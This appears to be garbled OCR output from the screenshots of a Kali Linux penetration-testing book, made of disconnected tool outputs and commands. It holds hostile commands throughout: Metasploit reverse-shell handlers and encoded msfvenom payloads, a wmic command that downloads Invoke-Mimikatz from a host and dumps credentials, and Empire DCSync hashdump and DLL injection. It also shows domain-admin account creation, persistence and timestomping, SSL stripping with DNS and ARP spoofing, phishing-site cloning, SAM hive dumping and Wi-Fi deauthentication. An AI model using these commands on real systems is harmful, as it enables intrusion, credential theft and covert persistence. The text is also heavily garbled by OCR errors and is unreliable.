opyright () 2011, Tactical Network Solutions, Craig Meffner <cheffnergtacnetsol.com

Waiting for beacon from C0:05:C2:02:85:61
Switching wlan to channel 11

Received beacon fron C0:05:C2:02:85:61

Vendor: Atherosc

Trying pin *12345670°

Sending authentication request

Found packet with bad FCS, skipping.

Sending association request

Associated with C0:95:C2:02:85:61 (ESSID: VMS345129)
Sending EAPOL START request

Received identity request

Sending identity response

Received identity request

Sending identity response

Received M1 message

Sending W2 message

Received M1 nessage

Sending WSC NACK

Sending WSC NACK

WPS transaction failed (code: 0x03), re-trying last pin
Trying pin *12345676"

Sending authentication request

Sending association request

Associated with C0:05:C2:02:85:61 (ESSID: VMS345129)
Sending EAPOL START request

Received identity request

Sending identity response

Received identity request

Sending identity response

Received identity request
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Program name:  xowRtMeGhJDx.exe
Unknown

Hard drive on this computer

=]

Change when these notifications appeat
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Computer Name /Do Changes

You can change the niame and the membership of this
g ianges might affect access o network resources.  |computer

Comptter name:

metasploitable3-win2k8

Full computer name:
metasploitable3-win2k8 Mastering kali thirdedition

More..

Member of
% Domain:
[Vastering kal thirdedition

€ Workgroup:
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weevely 3.2.0
Error: too few arguments

Run terminal to the target
weevely <URL> <password> [cmd]

Load session file
weevely session <path> [cmd]

Generate backdoor agent
weevely generate <password> <path>
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msf post (inject_host) > use auxiliary/server/socksda
msf auxiliary(socksda) > run
[*] Auxiliary module execution completed
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.|

* First Stags Filtering *

Filtering Time Approx: 0.0058 mins.

Meterpreter_Reverse_TcP  [stager]
Meterpreter Reverse HTTP [stager]
Meterpreter_Reverse HTTPS [stager]
Meterpreter_Bind_Tci [stager]
hell Reverse TcP {stager]
Shell_Bind_TcP (stager]
WinExee






OEBPS/Images/3t26.jpg
rootekali:~# ifconfig
etho: flags=4163<UP, BROADCAST,RUNNING, MULTICAST> mtu 1500
inet 10.10.115.108 netmask 255.255.240.0 broadcast 10.19.127.255
inet6 fe80::a634:d9ff:feBa:b93c prefixlen 64 scopeid 0x20<link>
ether ad:34:d9:6a:b9:3c txqueuelen 1000 (Ethernet)
RX packets 536415 bytes 761467623 (726.1 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 236433 bytes 14338324 (13.6 MiB)
TX errors 0 dropped © overruns 0 carrier 0 collisions O

[Lo: flags=73<UP,LOOPBACK, RUNNING> mtu 65536
inet 127.0.0.1 netnask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid Ox18<host>
loop txqueuelen 1 (Local Loopback)
RX packets 80 bytes 4892 (4.7 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 80 bytes 4892 (4.7 KiB)
TX errors @ dropped  overruns 0 carrier 0 collisions @

rootekali:~# cat /etc/resolv.conf
donain superdude.ad

search superdude.ad

naneserver 10.19.65.181
naneserver 10.10.65.110
naneserver 10.10.65.91
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root@kali:~# msfconsole

IIIIIT  dTb.dTb
11 4 v 'B
11 6 .p
11 inpo . nd
11 Ty ;P!

IIIIIT 'yvp!

I love shells —-egypt

[ metasploit v4.17.31-dev
1843 exploits - 1074 auxiliary - 320 post
[ 541 payloads - 44 encoders - 10 nops
Free Metasploit Pro trial: http://r-7.co/trymsp
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PsExec -s -i -d cmd.exe
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You have been sent a file (Description: This is awesome) i

Sendspace cro ey Bsencpace com>

‘Sencspe Fie Devery Nottcato:

Youvegota flecate go s PNG, 247 KB) walig 0 be domrioaded at sncsace com 1 was st by ceo@Oyberiacom)

Descroton: Thsis wesome.
You a1 use e okowng ko reieve your e

Do v sendsoace convBerae

Tho e may b vl for 3o B an.Ifyou v any uestons, pease v seispace FAQ a i sersgacecom.

sendsgacecon - Trebest e e sharng senice.
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C:\>powershell
Windows Powershell

Copyright (C) 2009 Microsoft Corporation. A1l rights reserved.

PS C:\> 1s

Directory: C:\

6/21/2016
10/6/2016
6/22/2017
8/20/2016
7/14/2009
6/19/2017
6/19/2017
4/18/2017
2/24/2017
671972017

Intel
NHRECOV
Out-of-Box Drivers
PerfLogs

Program Files
Program Files (x86)
Temp

Users

wWindows
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apache_expect_xss
paths

sitefiles
outdated

tests

msgs

apacheusers
report_text
ms10_070

drupal
subdomain

cookies
clientaccesspolicy
dictionary

siebel
content_search
report._nbe
embeddad
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BlindElephant.py <website.com> joomla
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rootfkali:~# WatwOOf wuw. el
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WAFWOOF - Web Application Firewall Detection Tool

By Sandro Gauci & Wendel G. Henrique
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# proxychains firefox www.whatismyip.com
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use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.0.24

set LPORT 443

set ExitOnSession false

exploit -j -z
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usemodule situational_awareness/network/powerview/get_domain_controller
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apt-get install tor
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fping -g IPrange
nmap -sP IPrange

for 1 in {1..254); do ping ~c 1 10.10.0.5i | grep 'from'; done
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Server started.
Starting handler for windows/meterpreter/reverse tcp on port 3333
Starting handler for gemeric/shell reverse tcp on port 6666
Started reverse TCP handler on 192.168.213.128:3333

starting the payload handler...

Starting handler for java/meterpreter/reverse tcp on port 7777
Started reverse TCP handler on 192.168.213.128:6666

starting the payload handler...

Started reverse TCP handler on 192.168.213.128:7777

Starting the payload handler...

-~ Done, found 20 exploit modules

Using URL: http://0.0.0.0:8080/BoAQexESINY
Zocal IP: http://192.168.213.128:8080/BoAQCXESINY
server started.






OEBPS/Images/7t23.jpg
S G @l SlalAalw] € 5] 1 e






OEBPS/Images/7t10.jpg
" 8 s

&
e
D s e
= Srmmia @ e § B
Sremia B e 8 & M
Sraman B e 8 =
Sromis w8 o e
Sramin @ w8 B
Sramia © e § B
S & e 8 B
Srmam o mammavwe 8 o






OEBPS/Images/11bb8.jpg
(%)
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wmic share get /ALL BRI

wmic /node: machinenane” path
Win32_TerninalserviceSetting whore
AllovTsconnect ions="0" call
setallovTsconnect ions *1%

iR ROP

TR RBE T 1 & T GE 19T LR

wmicnteventlog get path, filename, writesble |, ‘G tAEIERU I IS
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oot )

Fle_Edt Vew Sexch T Help
GNU nano 2.9.5 7etc/bash bashic Fodi fied

/ust/share/connand-not- found/comnand-not - found -- "$1*
return $7
else
printf *vs: command not found\n® *$1* >82
return 127
fi

t

export ftp_proxy="ftp://user:passwordeproxyIP:port*
export ttp proxy="http://user:passwordeproxyIP:port!

export Rttps proxy="https://user:password@proxyIP:port"
export socks_proxy="https://user:passwordeproxyIP:port"






OEBPS/Images/175-i.jpg
B el A fomd
Type "help", "copyright",
>>> print hex (0X25 * 0X31)
ox1a

>>> print hex(0X14 * 0X30)
ox24

555> exit ()

credits” or "license" for more information
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msf > db_status
[*] postgresql connected to msf
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rootakali:~# ifup ethd

Internet Systems Consortium DHCP Client 4.3.5

opyright 2004-2016 Internet Systems Consortium.

AL rights reserved.

For info, please visit https://www.isc.org/software/dhcp/

Listening on LPF/eth0/68:00:27:11:a8:61

ending on  LPF/eth0/08:00:27:11:a8:61

ending on  Socket/fallback

PHCPDISCOVER on eth® to 255.255.255.255 port 67 interval 5
DHCPREQUEST of 192.168.0.204 on ethd to 255.255.255.255 port 67
DHCPOFFER of 192.168.6.204 from 192.168.0.1

DHCPACK of 192.168.0.204 from 192.168.6.1

RTNETLINK answers: File exists

bound to 192.168.0.204 -- renewal in 395569 seconds.
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CPU - thread 00001ADS, module essfunc
62501 1AF JHP ESP

MOY EEF, ESF
JMP ESP
JHMP ECH
POP EBH
POP EBX
RETHN
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00000220 = Adninistrators (which has 4 members)

Account bits: ex0210
[ ] Disabled | Honedir req [ ] Passwd not req
] Temp. duplicate | Normal account NHS account
[ ] Domain trust ac | Wks trust act Srv trust act
[X] Pwd don't expir | Auto Tockout [ 1 (unknown 0x98)
[ 1 (unknown 0x10) | (unknown ©x20) (unknown 0x49)

ogin count: 373, while max tries is: 0
ogin count: 46
* No NT MD4 hash found. This user probably has a BLANK password!
No LANMAN hash found either. Try login with no password!

User Edit Menu:

Clear (blank) user password
Unlock and enable user account [probably locked now
Promote user (make user an adninistrator)

Add user to a group

Remove user from a group

Quit editing user, back to user select

[Hives that have changed
# Name

0 <S>

Write hive files? (y/n) [n]
© <SAM> - OK

rootakali






OEBPS/Images/219-i.jpg
Powershell -W Hidden -nop -noni -enc <Payload>
rundl132 Powershdll.dll,main

[System.Text .Encoding] : :Default .GetString ([System.Convert] : :FronBases4strin
g("BASE64")) iex
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wmic /USER:"domain\user" /PASSWORD:"Userpassword" /NODE:192.168.0.119
process call create "powershell.exe -exec bypass IEX (New-Object

Net .WebClient) .DownloadString ('http://192.168.0.24/Invoke-Minikatz . psl') ;
Invoke-MimiKatz -DumpCreds | Out-File C:\\users\\public\\creds.txt
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SPOCIERILLT - SULIND =%
/192.168.0.101 /mutillidae/index. php?page=usex-info. phpeusername=spas
- info-php-submi t-button=ViewtAccount +Details’ -D mutillidae -T

SenBmaty. —dump
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Shellter VI Instructions: 23475 Time Elapsed: 15 secs

ta: DLL Characteristics (Dynamic InageBase etc 1 signature.

Status: AlL related infornation has been elinina

Status; Trac

Note: In Auto Mode, Shellter will trace a random number of instructions

for a maxinun time of approximately 30 ssconds in native Windows
hosts and for 60 saconds when used






OEBPS/Images/14t15.jpg
7‘! KASPER
LR 0SWALD

Innoate Secuy | Engineing






OEBPS/Images/10t2.jpg
root@kali:~# cd /usr/share/metasploit-framework/1ib/
rabal/ snmp/ telephony/
rbmysql/  sqlmap/ xs5£/

anemone/  msf/

metasm/ net/

Imetasploit/ postgres/ rex/ tasks/
~# cd /usr/share/metasploit-framework/1ib/msf/

core/ ipts/ ui/ util/
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net user admin Passw0rd123 /add /domain
net group "domain admins" admin /add /domain
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Just > use wifi/wifi janner
wsf:Wif]_Janner > show options

Value

wlang

Description
Wireless Interface Name
Target BSSID Address
Target ESSID Name

wlanénon ves  Monitor Mod(defal

1

Target Channel Nunber
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ootéKali: /usr/share/beef-xssd ./beef
[ 1:35:18] [*) Bind socket [imapeudoral] listening on [0.0.0.0:2000] .
38:18] (*] Browser Exploitation Pramework (BeEF) 0.4.7.
Twit: @beefproject
Site: http://beefproject.com
Blog: http://blog.beefproject. con
_ Wiki: https://github.com/beefproject/beef/wiki
Project Creator: Wade Alcorn (éWadealcorn)
BeEF is loading. Wait a few seconds...
12 extensions enabled.

254 modules enabled.

2 network interfaces were detected.
127.0.0.1
| Hook URL: http://127.0.0.1:3000/hook. 35
1:38:22]  |_ UI URL:  http://127.0.0.1:3000/ui/panel
1:38:22] [+] rimning on metwork interface: 192.168.213.128
| Hook URL: http://192.168.213.128:3000/hook. 35
|_ UL URL: http://192.168.213.128:3000/ui/panel
RESTful APT key: £35be5102c3e6l7dca3dd2ceal307086cch0496)
1:38:22] [*] EYTP Proxy: http://127.0.0.1:6789
1:38:22] [*] BeEF server started (press controltc to stop)
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mSt exploit(handler) > [*] https://192.168.0.120:8443 handling request from 192.
168.0.119; (UUID: iwifc9ll) Staging xB6 payload (958531 bytes) ..

[#] Moterpreter session 1 cpened (192.168.0.120:8443 -> 192.168.0.119:49621) at
2017-05-27 13:51:15 -0400

sessions

Active sessions

1 moterpreter x86/windows VACtim\EISC @ VICEIM 192.168.0.120:8443 -> 192.1
68.0.119:49621 (192.168.0.119)
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Deauthenticating all clients on Cyber Lab

12:6:8 Uaiting for beacon frame (ESSID: BA:EF:FA:94:21:C5) on chamel ~1
NB: this attack is nore effective hen targeting

a comected wireless client (-c <client's mac).

12:26:28 Sending Defiuth (code 7) to broadcast — BSSID:

12:%6:23 Sending Defuth (code 7) to broadcast — BSSID:

Sending Defuth (code 7) to broadcast

Sending Defuth (code 7) to broadzast

Sending Tefuth (code 7) to broadcast

Sending Defuth (code 7) to broadast

Sending Defuth (code 7) to broadcast

Sending Defuth (code 7) to broadcast

Sending Defuth (code 7) to broadcast

Sending Defuth (code 7) to broadcast

Sending Defluth (code 7) to broadcast —— BSSID:

Sending Defuth (code 7) to broadcast — BSSID: 1FA194:21:05]
Sending Defuuth (code 7) to broadcast — ESSID: 1FA:94:21:05]
Sending Tefuth (code 7) to broadoast —— BSSID: [B4:EF:FA:4:21:05]

)
0
0
0
i1
i1
2
7
3
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dd if=kali linux.iso of=/dev/nameofthedrive bs=512k
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(Empire: 2A54TX1L) > ps
(Empire: 2ASATXIL) > upload /root/chapl2/injectme.dll

(Empire: 2AS4TXIL) > usemodule code_execution/invoke_dllinjection
(Empire: powershell/code_execution/invoke_dllinjection) > set ProcessID
4060

(Empire: powershell/code_execution/invoke_dllinjection) > set D1l
C:\Users\admin\injectme.dll

(Empire: powershell/code_execution/invoke_dllinjection) > run






OEBPS/Images/11t2.jpg
Migration





OEBPS/Images/7t5.jpg
SR S

o R T s






OEBPS/Images/281-i.jpg
net.sniff on
» set http.proxy.sslstrip true

» http.proxy on

» set dns.spoof.domains

www.office.com, login.microsoftonline.com, testfire.net
» set dns.spoof.all true

» dns.spoof on

» arp.spoof on
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Motule options (sxplost/windovs/mb/psasec)

currant. satting

s s,

el resd/write folder share
i agrant
vagrant

peseription

‘service display name

Share to comnect to, can be an adain

password for the specifisd username






OEBPS/Images/1t3.jpg





OEBPS/Images/13t28.jpg





OEBPS/Images/167-i.jpg
hydra -1 admin -P passlist.txt 192.168.0.101 http-post-form

‘mutillidae/index.php
Page=login . php: username="USER"&password="PASS"&login-php-submit—

button=Login:Not Logged In"
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Footekali:~# aireplay-ng -9 wlanemon
:28:01 Trying broadcast probe requests...
:28:03 No Answer
:28:03 Found 6 APs

:28:03 Trying directed probe requests.
:28:03 B0:05:94:80:40:53 - channel: 6 - 'PS4-AICOSD7AE79A

:28:05 Ping (min/avg/max): 1.392ms/4.708ms/10.276ms Power: -42.82
:28:05 17/30: 56%

:28:05 Injection is working!

:28:05 AO:BD:CD:64:9F:02 - channel: 6 - 'SKY7C283
28:09 Ping (min/avg/max): 4.669ms/9.189ms/15.526ms Power: -42.00
:28:09 14/30: 46%

:28:09 38: : : channel: 11 - 'BTHub6-PWTH
:28:14 Ping (min/avg/max): 1.371ms/4.615ms/11.966ms Power: -93.00
:28:14  4/30: 13%

:28:14 GA:FE:F7:A1:28:75 - channel: 6 - 'Paul Houston's iphone
:28:20  ©/38: 6%

:28:20 42:3E:D7:B6:A2:A9 - channel: 1 - 'BTWifi-with-FON
:28:20 Ping (min/avg/max): 1.693ms/4.039ms/9.614ms Power: -77.60
:28:20 30/30: 100%
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meterpreter > getsystem
[-]1 priv_elevate getsystem: Operation failed:
[-] Named Pipe Impersonation (In Memory/Admin)

[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
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meterpreter > background
[*] Backgrounding session 2
msf exploit (psexec) > use exploit/windows/local/bypassuac
msf exploit (bypassuac) > set session 2

session => 2
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smbrelayx.py —h IP(host that you want to relay to) -e filename.ex
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meterpreter > upload /usr/share/metasploit-framework/data/exploits
meterpreter > upload /usr/share/metasploit-framework/data/exploits
[*] uploading : /usr/share/metasploit-framework/data/exploits/CVe
a11

[*] Uploaded 850.50 KiB of 850.50 KiB (100.0%): /usr/share/metaspl
.x64.d11 —> reflective dl1.x64.d11

[*] uploaded : /usr/share/metasploit-framework/data/exploits/CVe
a1l

meterpreter > shell

Process 5468 created.

Channel 5 created.

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. ALl rights reserved.

\Users\normaluser>dir
dir

Volume in drive C is Windows 2008R2
Volume Serial Number is 54C1-13a3

Directory of C:\Users\normaluser

12/31/2018 <p1R> .
12/31/2018 <DIR> 5

12/21/2018 <DIR> contacts
12/21/2018 <DIR> Desktop

12/27/2018 <DIR> Documents
12/27/2018 <DIR> Downloads
12/27/2018 <pIR> Favorites
12/27/2018 <DIR> Links

12/21/2018 <DIR> Music

12/21/2018 <DIR> Pictures
12/31/2018 315,904 plink.exe
12/31/2018 870,912 reflective dl1.x6d.
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rootekall

4 woovely BLLp://192.160.0.101/mati111d
weovely 3.7.0

T e

WIN-3UTORIIDIE:C: \xampp\btdocs \Mut 11 1dac
Troot/ weevely/sos:

sions/192.168.0.101/index.0.session

Brouse the filesystea or execute comsands starts the commection
(1] to the target. Type shelp for more snformation.

Jroovory> wnoams

i Soon7 o

\ntdocs\wuti1idae ¢ ipcont
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Modute options (auxiliary/scanner/snmp/sump_en
Name Current Sotting Required Description

comaniTy public St Community string
The target address rango or CIDR identifier
The target port (UDP)
The number of concurrent throads
st Timoout

veRsION 1 St version <1/2¢>

Jast. auxiliary(scannor/sump/snmp_enumusers) > st rhosts 192.168.0.115
Fhosts => 192.166.0.115
Jast auxiliary (scamnor/snap/snap_enumusers) > run

+] 192.168.0.115:161 ¥ound 22 usors: Adainistrator, Guest, Hackerl, anakin skywalkor,
c_throd pio, chewbacca, darth vador, groodo, hackor, han 50lo, jabba hutt, jarjar bink
| organa, luko skywalker, sshd, sshd server, vagrant

[*] Scanned 1 of 1 hosts (100% complote)

(4] Auxiliacy module execution complotod
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Symantec Connect H
N technical community fo Symantec customers,endusers, develogers, and partners.

Vulnerabiites (Page 1 o1 3065)
Vendor: Selct Vendor 2

ite: [Select Tle v

Version: [Select Version 7]

Search by CVE

cve:

T
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rootékali: /usr/share/mmap/scripts nano test.lua
rootékali: /usr/share/mmap/scriptsé chmod +x test.lua

root@kali: /usr/share/mmap/scriptst ./test.lva
oot :§65hn5Vgdrose B odwugne2GUaTWIAE LA . VKGEMS eP0BOA IR AquIEVARUpZ Ll 0% . aX
oqqIrwmE)yy16w. 7ERRTpFO:17647:0:99999:
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root@kali:~# airmon-ng check kill
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root@kali:~# cd /usr/share/beef-xss/
root@kali: /usr/share/beef-xss/~# ./beef





OEBPS/Images/3t16.jpg
root@kali:~# lbd . I . con

1bd - load balancing detector 0.4 - Checks if a given domain uses load-balancing.
Weitton by Stefan bohte (http://ge.mine.n)
Proof-of-concopt! Might give false positives.

Checking for DNS-Loadbalancing: NOT FOUND
Checking for TP Loadbalancing [Server

Checking for WTTP-Loadbalancing [Date]: 16:33:49, 16:33:49, 16:33:49, 16:33
16:32:50, 16:33:50, 16:33:50, 16:33:50, 16:33:50, 16:33:50,

351, 3315, 16:33:51, 16:33191, 16133152, 16:33:52, 16:3352, 16

52, 16 3, 16:33:53, 16:33:53, 16:33:53, 16:33:53, 16:33:53, 16:33:53,

L R6:33:54, 16:39:54, 16:39:54, 16:33:54, 16:33:54, NOT FOUND

Chacking for WFTP-Loadbalancing [DALE): ¥OUND
< X ¥ Debig: TQLISAGGVOUNKTMAYNKGOHFOIVSLDS ST/ X33 TuxUDRCONUI99Y ) LN Fap IO TE
> X-Fi-Debug: EZLI1H30PTVACLRETGTT bt BORXIgyKBO1 JaK KNI RA) 21 MDGATVTIBKOMAB LEUOMS 49K

v M con dovs Load-balancing. Found via Methods: ITTPIDILE]
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root@kali:~# generic send tcp 192.168.0.119 9999 exploitfuzz.spk 0 0
Total Number of Strings is 681

e

FPuzzing Variable 0:0

line read-Welcome to Vulnerable Server! Enter HELP for help.
Fuzzing Variable 0:1

line read=Welcome to Vulnerable Server! Enter HELP for help.

Variablesize= 5004
FPuzzing Variable 0:2
Variablesize= 5005
Fuzzing Variable 0:3
Variablesize= 21
Puzzing Variable 0:4
Variablesize= 3
Puzzing Variable 0:5
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net use

net use \\[targetip] [password]
Juzluser)

net use \\[target1p]\(sharenane]
(password) /u: (user]

AT 445 L ERTR . & T
PRSI &

net user (UserNane [Password | +]
(options]] (/domain]

net user [UserNane {Password | *}
/add [options] [/domain]]

net user [UserName [/delete]
(/domain)|

SR TSI
SHtyifsh

arp

arp /a
arp /a /n 10.0.0.99
arp /s 10.0.0.80 00-AA-00-4F-23-9C

SRR ARP SR ER

route

route print
route print 10.+

route add 0.0.0.0 mask 0.0.0.0
192.168.12.1

route delete 10.¢

5 ARP S OT0LAT owe 3 THAIE TP
B, HAHOLATL

netstat

netstat -n —o

R AR BE L 61411 0 TCP A TR R
1, BRSO LR 0 1P R 2¢ (1P i 1PvG )
LR

nbtstat

nbtetat /R
nbtstat /s 5
nbtstat /a Ip

S A BUH P 69952 MAC AL 69
NETBIOS fiit, JUH T MAC ISl

mie

mic process get
caption, executablepath, comnandl ine
umic netshulan profile = “profilensme”
Key=clear

e I 4 KL 095547 OG0,
VTLER o S D HIR bk WiFs 5

reg

req
reg

save HKLM\Security sec.hive
save HKLM\Systen sys.hive

reg save HKLM\SAH sam.hive

reg add [\\TargetIraddr\]
(RegDomain]( \Key |

reg export [Regbomain]\[Key]
(Filename]

reg inport [FileName |

reg query (\\TargetIpaddr\]
(Regbomain)\[ Key ) /v [Valuename!}

RSB KA reg 0 RBAE R
G, BTG

for

for /L 41 in (1,1,10) do echo Sii &
ping -n 5 1P

for /31 in (password.lst) do techo
415 enet use \\[targetIp) b

/s [Usexnane] 2>nules pause s& echo
(Username] +3i>>done.txt

or BSFOTELLE Windows {11 F-EIEATI 1R
BRHORE
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31 Active Directory Domain Services Installation Wizard

Completing the Active Directory
Domain Services Installation
Wizard

Directory Domain Services is now instaled on
terfor the domain “mastering cai thirdediion”.

Active
“Defaut First-Ste-Name". You can manage stes
i ckve Checlny S e Sevicon
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usemodule lateral_movement/invoke_wmi
set Listener <listenername>

set ComputerName Mastering.kali.thirdedition(Domain Controller name)

St
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root@kali:~# weevely http://<target IP address><directory> <password>
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tshark -n -q -r importantfile.pcap -T fields -
4 "1% >> emtfiltersted hex.txt

data.data | tr -d "\n" | tr
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msf > load msgrpc ServerHost=192.168.213.128 Pass=abcl23
[*] MSGREC Service: 192.168.213.128:55552
[*] MSGRPC Username: msf

[*] MSGREC Password: abcl23
[*] Successfully loaded plugin: msgrpc
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(Bmpire: ERBFGHAU) > UsemOGule CTedentials/mimikatz/dcsync_hashdusp
(Gmpiro: poversnoll/crodentias/mimi KSt2/dcoyne. hashumy) > ru

(*]' Tasked SRBFGHAD to run TASK CHD_JOB

[+] Agent ERBPGAAD tasked with Fask 1D 2

[*] Tasked agent ERSFEMAD o run module powershell/credentials/miaikatz/desyne hashdump
(Rapizo: poversholl/crodentials/minikate/dcsyne hashdusp) > +] Agont ERSFEHAU returned rosults
{41 Valid results returned by 152.168.1.101

(%] Agent ESSFIA returned tesulis.
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root@kali
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footerprater > run persistence -h

[1] Moterprater scripts are deprecated, Try post/windows/sanage/persistence exe
(1] Example: run post/windows/manage/persistence exs OPTION=valus I...]
eterprater script for creating a persistent backdoor on a target host.

orrzons

a Automatically start a matching exploit/multi/handler to connect to the agent]
-L <opt> Location in target host to write payload to, Lf hone STEMPY will be used
-7 <opt> Fayload to use, default is windovs/meterpreter/sevasse tcp.

= Autonatically start the agent on boot as & service (vith SYSTEM privileges)
“r <opt> Alternate executahle template to use

T Automatically start the agent when the User logs on

= Automatically start the agent vhen the system boots

Iy his help menu

= he interval in seconds batween aach connection attempt

® e port on vhich the syste ruaning Metasploit is listening

= The TP of the system running Metasploit listentng for the connect back
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windows/meterpreter/reverse_tcp lhost=192.168.0.109 lport=443 -x
/root/calc.exe -k -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -a
B —alatPars windous & RA8/blonor <k § <F eas. o Gale. e
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€ 5 € [ blackisted-blanOblah-neverexist-blocked.org

Content blocked by your organization

s ‘Category s ftered: Compromised Websites.
. i

lessage:  Please refer (0 your organization's policy on Intemet access.

Click Go Back or use the browser's Back bution (0 fetum 10 the previous page.

[ Goback ]






OEBPS/Images/12t25.jpg
(Empire: powershell/situational awareness/network/powcrview/get_loggedon) > Fun
[*] Tasked GZIMWEL to run TASK oD JoB

[*] Agent GELNWEL tasked with Eask ID 6

[1] Tasked agent GZIHNWEL to run module powershell/situational avareness/netvork/p
(Fmpire: powershell/situational_awareness/network/powerview/get_loggedon) > [*] Ag
Job started: T224CV

(] Valid results returned by 152.168.0.115

[*] Agent GEIRNWEL returned results.

userNane LogonDomain  AuthDomains LogonServer  ComputerName

admin MASTERING
Normaluser MASTERING WIN_JUTOAITIDRE
Ssnd server  METASPLOITARIED NETASPLOTTABLES Localhost

METASPIOITARLESS MASTRRING localhost
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chmod +x Rapid7Setup-Linux64.bin
- /Rapid7Setup-Linux64.bin
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't :webattack>2
-1 seT
-1

Supports both HFTR and ETTPS
Example: http://wew. thisisafakesite.com

set:webattack> Enter the url to clone:facebook.com

T#] HTA Attack Vector selected. Enter your IP, Port, and Payload...
Enter the IP address for the reverse payload (LEOST): 192.168.0.116
Enter the port for the reverse payload [443]: 443

Select the payload you want to deliver:

1. Meterpreter Reverse ETTPS
2. Meterpreter Reverse ETTR
3. Meterpreter Reverse TCP

Enter the payload mumber [1-3]: 1
[*] Generating powershell injection code and x86 downgrade attack.
[*] Reverse HTTPS takes a few seconds to calculate..One moment..
No encoder or badchars specified, outputting raw payload

Payload size: 357 bytes
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schtasks /create /tn WindowsUpdate /tr
"c:\windows\system32\powershell .exe -WindowStyle hidden -NoLogo -
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./build.sh windows2008
./build.sh ubuntuld04
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= Administrator, C\Windows\System3z e exe.

L1 rights reserved.

o \users\adnin>PoExec..exe

PoExce v2.2 ~ Execute processes renotely
[Copyriahe <G> 20012018 Hark Rassinovich
Sy2incarnals ~ sy internals -con

[ord.exe started on METASPLOITABLED with process 1D 1976,
o vuserssadnin>

= Administrotor: C\Windows system2\cmdexe.

icrozore Vindaus TUersion 6.1.76011
Coburight Cc> 2809 Microsofe Comporation. A1l rights reserved.

o:\Uindousss yetonszouhoant
e authoritunaveten

o: \Windousnsyeton3zs_
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passwd root
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[python/shelloode_injoat/aes enrypt>>]: set COMPILE TO_EXS /root/chap0d/watever.cxe
[python/ ol loode_inject/aes_encrypt>>] - generate

(2] Generate or supply custom shelloode?

Ordnance (default)
wstom shalloode string
File with shelloods (\x41\xd2..)
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jmeterpreter > timestomp -z "01/01/2001 10:10:10" README.txt
[01/01/2001 10:10:10

Setting specific MACE attributes on README.txt
neterpreter > timestomp README.txt -v

2001-01-01 10:10:10 -0500
2001-01-01 10:10:10 -0500
2001-01-01 10:10:10 -0500
Entry Modified: 2001-01-01 10:10:10 -0500
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Fesource o0 cxploit
Haplolt rumning 45 backgrousd b 0.

Started #TP roverse handlar on bttp://192.160.0,24:0000
sing G BeLpe//192.169.0.24:0080/ o,
' tho’ o1 lowing command on the target michine:
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while read r; do nc -v -z $r 1-65535; donme < iplist
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c: \Hackerbox>docker run -t i kalilinux/kali-1inux-docker /bin/bash
ro0ta593ebadibsbb; /# 1s

dey home 11b64° mnt proc run srv tmp var
etc 1ib  media opt root sbin sys usr
ro0tas93ebadlbobb’ /¢
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[*] Running WMIC Commands .

[*]  rumning command wmic useraccount list
I running command wmic group list

[*]  running command vmic service list brief

] rumning smic share get name,path

*]  ruming wmic nteventlog get path, filename,writeable

[*]  running command wmic volume 1ist brief

[*]  running command wmic notlogin get name,lastlogon, badpasswordcount

[*]  rumning command wmic notuse get name,username, connectiontype, localname
{*]  running command wmic netclient list brief

[*]  running command wmic logicaldisk get description, filesystem,name,s:

[*]  running command wmic startup list full

[*]  rumning command wmic rdtoggle list

[*1  rumning command wmic product get name,version

[*]  running command wmic qte

[*] Extracting software list from registry

[*] Dumping password hashes. ..
[*] Hashes Dumped

[*] Gotting Tokens.

[*] ALL tokens have been processed
{*] Donet
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use exploits/routers/dlink/dir_300_320_600_615_info_disclosure
set port 80
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msfconsole -q -r vbexploit.rc
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Aircrack-ng 1.5.

[00:00:00] 4/3 keys tested (76.48 k/s)

ime left: 0 seconds 133.33%
KEY FOUND! [ Letmein

Master Key AC OE CD 2 12 ¢ BE
D 8B AC - EE 1C 2D 97

Transient Key : 56 6F 44 EA 56 CE ;- BC 9K 13 C6
21 a8 DD 02 6 65
47 F1 38 4 09 9C 0D 33 3F
6F 70 TE 91 41 A4 ¥D

EAPOL, HMAC 15 56 6C D3 90 14 A5
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> info exploit/unix/irc/unreal i

Name:
Module
Platform:
Arch:
privileged
License
Rank:
pisclosed:

UnrealIRCD 3.
exploit/unix/irc/unreal
Unix

cnd

No

Excellent
2010-06-12

Provided by:
hdm <x@hdm.i0>

Available targets
Id Name
0 Automatic Target

Check
No

supported:

Bas
Name

¢ option

Current Setting Required

RHOST
RPORT _ 6667

yes
yes

rcd 3281 backdoor

.8.1 Backdoor Command Execution

ircd 3281 backdoor

Metasploit Framework License (BSD)

Description

The target address
The target port (TCP)
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start a Machine

2. Specty target
Company Stalker

Find Wikipedia Edits

Footprint L1

Footprint L2

@ Flense selects machine to run
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Starting baudrate detection on /dev/ttyUss0. turn on your serial device now.
Press CHLAc to quit

I —

FRom major = 253
SpiTlash octl read, Read from 0x007d1100 Length 656, ret 0, retlen 036

Read AC from flashi  7dr100) 7c.fIT1118b-{F1ffca 48-60- (111 ba

GACI WAC ADRL - : oxcadbooba

Ralink APSoC Ethernet Driver Tnitilization. v3.1 256 rx/tx descriptors allocated, mtu = 15091
WAPY enable, Tx Ring = 256, x Ring = 256

Spfd Trom 6x00741100 Lengin Ox6, ret 0, retlen 8x6

Resd WAC from flash( 7dr10) 7c.f111Fab.{F1f1ca 8-60-F1111fba

GAC1 AAC ADRH - ¢ 0x09007cED

GRACI WAC ADRL -~ © OxcadBooba

Froc TurT o

2dd domain:

2dd domain

2dd domain

244 domain:

@ donain Anit ok

L21p core driver, v2.0

PPPOLITP kernel driver, V2.0
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/usr/share/nmap/scripts#
[rootekali:/usr/share/nmap/scriptst 1s | we -1
554

[rootekali:/usr/share/nmap/scriptsh 1s -la | more

root

root
root
root
root.
root
root
root
root
root.
oot
root
root
root
root.
xoot
root
root.

81920
1096
3901
8777
3345
6891
7001
5671
2621
2262
2965
1329
2515
3023
7017
1783

15150

Mar
Feb
Dec
Dec
Dec
Dec
Dec
Dec
Dec
Dec
Dec
Dec
Dec
Dec
Dec
Dec
Dec

8
20
23
23
23
23
23
23
23
23
23
23
23
23
23
23
23

4:2:

cccoocooo000000000

acarsd-info.nse
address-info.nse
afp-brute.nse
afp-1s.nse
afp-path-vuln.nse
afp-serverinfo.nse
